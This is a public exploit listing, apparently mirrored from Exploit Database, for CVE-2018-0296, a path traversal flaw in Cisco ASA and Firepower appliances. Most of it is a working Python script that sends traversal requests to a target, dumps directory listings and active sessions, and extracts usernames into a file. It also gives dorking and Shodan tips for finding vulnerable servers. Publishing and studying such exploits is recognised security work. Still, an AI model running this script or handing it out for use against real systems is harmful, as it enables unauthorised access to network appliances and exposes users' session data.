Cisco Adaptive Security Appliance – Path Traversal

• Exploit Database
• 15 阅读

• 作者： Yassine Aboukir
  日期： 2018-06-28
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/44956/

• '''
  Cisco Adaptive Security Appliance - Path Traversal (CVE-2018-0296)
  A security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques.
  
  Vulnerable Products
  This vulnerability affects Cisco ASA Software and Cisco Firepower Threat Defense (FTD) Software that is running on the following Cisco products:
  
  3000 Series Industrial Security Appliance (ISA)
  ASA 1000V Cloud Firewall
  ASA 5500 Series Adaptive Security Appliances
  ASA 5500-X Series Next-Generation Firewalls
  ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers
  Adaptive Security Virtual Appliance (ASAv)
  Firepower 2100 Series Security Appliance
  Firepower 4100 Series Security Appliance
  Firepower 9300 ASA Security Module
  FTD Virtual (FTDv)
  Script usage
  Installation: git clone https://github.com/yassineaboukir/CVE-2018-0296.git
  Usage: python cisco_asa.py <URL>
  If the web server is vulnerable, the script will dump in a text file both the content of the current directory, files in +CSCOE+ and active sessions.
  
  Disclaimer: please note that due to the nature of the vulnerability disclosed to Cisco, this exploit could result in a DoS so test at your own risk.
  
  Bug Bounty Recon
  You can use Shodan, Censys or any other OSINT tools to enumerate vulnerable servers or simply google dork /+CSCOE+/logon.html. Figure it out :)
  
  References:
  https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180606-asaftd
  '''
  
  #!/usr/bin/env python
  
  import requests
  import sys
  import urlparse
  import os
  import re
  
  print("""
  _____ _____ _____ _____ ________ ________ 
   /__ \_ _/___/__ \_|/ _ \ /___|/ _ \
   | /\/ | | \ `--.| /\/ | | | / /_\ \\ `--./ /_\ \ 
   | | | |`--. \ | | | | | |_| `--. \_| 
   | \__/\_| |_/\__/ / \__/\ \_/ / | | | |/\__/ / | | | 
  \____/\___/\____/ \____/\___/\_| |_/\____/\_| |_/
  
  ______ _ _ ______ 
  | ___ \ | | | | |_ _|| |
  | |_/ /_ _| |_| |__ | |_ __ __ ___ _____ _ __ _____ _| |
  |__/ _` | __| '_ \| | '__/ _` \ \ / / _ \ '__/ __|/ _` | |
  | | | (_| | |_| | | | | | | | (_| |\ V /__/ |\__ \ (_| | |
  \_|\__,_|\__|_| |_| \_/_|\__,_| \_/ \___|_||___/\__,_|_|
  
  CVE-2018-0296
  Script author: Yassine Aboukir(@yassineaboukir)
  """)
  
  requests.packages.urllib3.disable_warnings()
  
  url = sys.argv[1]
  
  regexSess = r"([0-9])\w+'"
  regexUser = r"(user:)\w+"
  
  dir_path = os.path.dirname(os.path.realpath(__file__))
  filelist_dir = "/+CSCOU+/../+CSCOE+/files/file_list.json?path=/"
  CSCOE_dir = "/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b"
  active_sessions = "/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/"
  logon = "/+CSCOE+/logon.html"
  
  try:
  is_cisco_asa = requests.get(urlparse.urljoin(url,logon), verify=False, allow_redirects=False)
  except requests.exceptions.RequestException as e:
  print(e)
  sys.exit(1)
  
  if "webvpnLang" in is_cisco_asa.cookies:
  try:
  filelist_r = requests.get(urlparse.urljoin(url,filelist_dir), verify=False)
  CSCOE_r = requests.get(urlparse.urljoin(url,CSCOE_dir), verify=False)
  active_sessions_r = requests.get(urlparse.urljoin(url,active_sessions), verify=False)
  
  except requests.exceptions.RequestException as e:
  print(e)
  sys.exit(1)
   
  if str(filelist_r.status_code) == "200":
  with open(urlparse.urlparse(url).hostname+".txt", "w") as cisco_dump:
  cisco_dump.write("======= Directory Index =========\n {}\n ======== +CSCEO+ Directory ========\n {}\n ======= Active sessions =========\n {}\n ======= Active Users =========\n".format(filelist_r.text, CSCOE_r.text, active_sessions_r.text))
  
  ''' Extraccion de usuarios'''
  matches_sess = re.finditer(regexSess, active_sessions_r.text)
  for match_sess in matches_sess:
  active_users_r = requests.get(urlparse.urljoin(url,"/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/"+str(match_sess.group().strip("'"))), verify=False)
  matches_user = re.finditer(regexUser, active_users_r.text)
  
  for match_user in matches_user:
  cisco_dump.write(match_user.group()+"\n")
  ''' Fin Extraccion de usuarios'''
  
  print("Vulnerable! Check the text dump saved in {}".format(dir_path))
  else: print("Not vulnerable!")
  
  else: 
  print("This is not Cisco ASA! e.g: https://vpn.example.com/+CSCOE+/logon.html\n")
  sys.exit(1)